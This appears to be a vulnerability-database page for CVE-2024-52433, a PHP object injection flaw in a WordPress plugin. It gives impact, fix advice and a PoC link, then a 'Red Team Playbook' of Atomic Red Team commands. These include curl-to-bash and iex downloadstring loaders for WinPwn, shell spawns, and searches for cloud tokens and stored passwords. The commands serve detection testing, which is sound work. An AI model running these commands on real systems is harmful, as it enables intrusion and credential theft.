CVE-2024-52433
Overview
This vulnerability is a deserialization of untrusted data issue resulting in object injection within the Mindstien Technologies My Geo Posts Free WordPress plugin. The root cause lies in insecure handling of serialized PHP objects, allowing attacker-controlled input to be deserialized without proper validation or sanitization. The affected component is the plugin's deserialization process handling incoming data, present in versions up to and including 1.2.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in Mindstien Technologies My Geo Posts Free my-geo-posts-free allows Object Injection.This issue affects My Geo Posts Free: from n/a through <= 1.2.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary PHP code within the context of the WordPress application, potentially leading to full site compromise. This includes unauthorized data access, modification, or deletion, and the ability to pivot to other parts of the hosting environment. No user interaction or credentials are required, enabling remote exploitation. The business consequences include data breaches, defacement, service disruption, and loss of trust due to compromised site integrity.
Solution
Apply the security update provided by Mindstien Technologies by upgrading the My Geo Posts Free plugin to a version later than 1.2 where this vulnerability is addressed. Detailed patch instructions and advisory information are available at Patchstack's database entry for this plugin vulnerability (https://patchstack.com/database/Wordpress/Plugin/my-geo-posts-free/vulnerability/wordpress-my-geo-posts-free-plugin-1-2-php-object-injection-vulnerability?_s_id=cve). No official workaround is documented; immediate upgrade is recommended.
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Full Analysis
The vulnerability associated with the My Geo Posts Free plugin from Mindstien Technologies is rooted in the deserialization of untrusted data, which can lead to object injection attacks. This flaw arises when the application processes serialized data from untrusted sources without adequate validation. In this case, the affected versions of the plugin allow an attacker to craft malicious serialized objects that, when deserialized by the application, can lead to arbitrary code execution or manipulation of application behavior. The underlying issue stems from the lack of proper sanitization and validation of input data, which is a common pitfall in many web applications that utilize serialization for data handling.
Attack vectors exploiting this vulnerability can be diverse, leveraging various methods to inject malicious payloads. An attacker could, for instance, send a specially crafted request to the application that includes the malicious serialized object. Once the application deserializes this object, it may inadvertently execute code or alter its state in a way that is beneficial to the attacker. Scenarios could include gaining administrative access, altering user permissions, or even executing remote commands on the server, leading to a complete compromise of the web application and potentially the underlying server infrastructure. The ease of exploitation, combined with the high impact of successful attacks, makes this vulnerability particularly concerning for organizations using the affected plugin.
The real-world impact of this vulnerability can be significant, especially for businesses that rely on the My Geo Posts Free plugin for their WordPress sites. Given the high CVSS score of 9.8, the potential for severe consequences is evident. Successful exploitation could lead to unauthorized access to sensitive data, defacement of websites, or the deployment of malware. This not only jeopardizes the integrity and availability of the affected systems but also poses substantial reputational risks. Organizations may face financial losses due to downtime, remediation efforts, and potential legal liabilities stemming from data breaches. Furthermore, the trust of customers and stakeholders can be severely undermined, leading to long-term damage to brand reputation.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the My Geo Posts Free plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, implementing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Conducting regular security audits and penetration testing can also assist in identifying potential weaknesses in the application’s handling of serialized data. Furthermore, developers should adhere to secure coding practices, including validating and sanitizing all user inputs, particularly those that involve serialization and deserialization processes.
In conclusion, the deserialization of untrusted data vulnerability in the My Geo Posts Free plugin poses a significant threat to organizations utilizing this software. The potential for exploitation is high, with serious implications for data security and business continuity. By understanding the technical details, recognizing the attack vectors, and implementing robust detection and mitigation strategies, organizations can better safeguard their systems against this and similar vulnerabilities. Continuous vigilance and proactive security measures are essential in today’s evolving threat landscape to protect against the exploitation of such critical vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Mindstien | My Geo Posts Free | All |
cpe:2.3:a:mindstien:my_geo_posts_free:*:*:*:*:*:wordpress:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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RandomRobbieBF/CVE-2024-52433
My Geo Posts Free <= 1.2 - Unauthenticated PHP Object Injection
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RandomRobbieBF | 0 | 0 | 2024-11-22 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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MITRE ATT&CK Techniques (6)
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
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Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-52433 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/my-geo-posts-free/vulnerability/wordpress-my-geo-posts-free-plugin-1-2-php-object-injection-vulnerability?_s_id=cve |